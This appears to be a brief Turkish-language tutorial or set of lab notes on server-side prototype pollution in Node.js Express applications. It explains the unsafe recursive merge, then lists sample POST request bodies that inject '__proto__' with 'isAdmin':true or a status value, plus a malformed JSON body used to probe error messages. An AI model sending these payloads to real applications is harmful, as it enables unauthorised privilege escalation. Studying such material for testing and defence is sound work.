Prototip pollution güvenlik açıkları genellikle bir JavaScript fonksiyonu, kullanıcı tarafından kontrol edilebilen özellikler içeren bir nesneyi, önce anahtarları kontrol etmeden mevcut bir nesneyle recursive olarak birleştirdiğinde ortaya çıkar. Bu, bir saldırganın proto gibi bir anahtara sahip bir özelliği isteğe bağlı iç içe geçmiş özelliklerle birlikte enjekte etmesine olanak tanıyabilir.
JavaScript bağlamında proto'nun özel anlamı nedeniyle, merge işlemi iç içe geçmiş özellikleri hedef nesnenin kendisi yerine nesnenin prototipine atayabilir. Sonuç olarak, saldırgan prototipi zararlı değerler içeren özelliklerle doldurabilir ve bu özellikler daha sonra uygulama tarafından tehlikeli bir şekilde kullanılabilir.
Herhangi bir prototip nesnesini kirletmek mümkündür, ancak bu en yaygın olarak yerleşik global Object.prototype ile gerçekleşir.
POST /my-account/change
{
"username":"wiener",
}
POST /my-account/change
{
"username":"wiener",
"__proto__": {
"isAdmin":true
}
}
Server-side Prototype Pollution Hata Mesajlarına (Node.js Express Framework)
Eğer inject ettiğimiz değer yansımıyor ise json parse hatası verdirip hata mesajına bakabiliriz. Hata mesajındaki değerlere injection yapabiliyor olabiliriz.
POST /my-account/change
{
"username":"wiener",
aaaaaaaaa
}
POST /my-account/change
{
"username":"wiener",
"__proto__": {
"status":555
}
}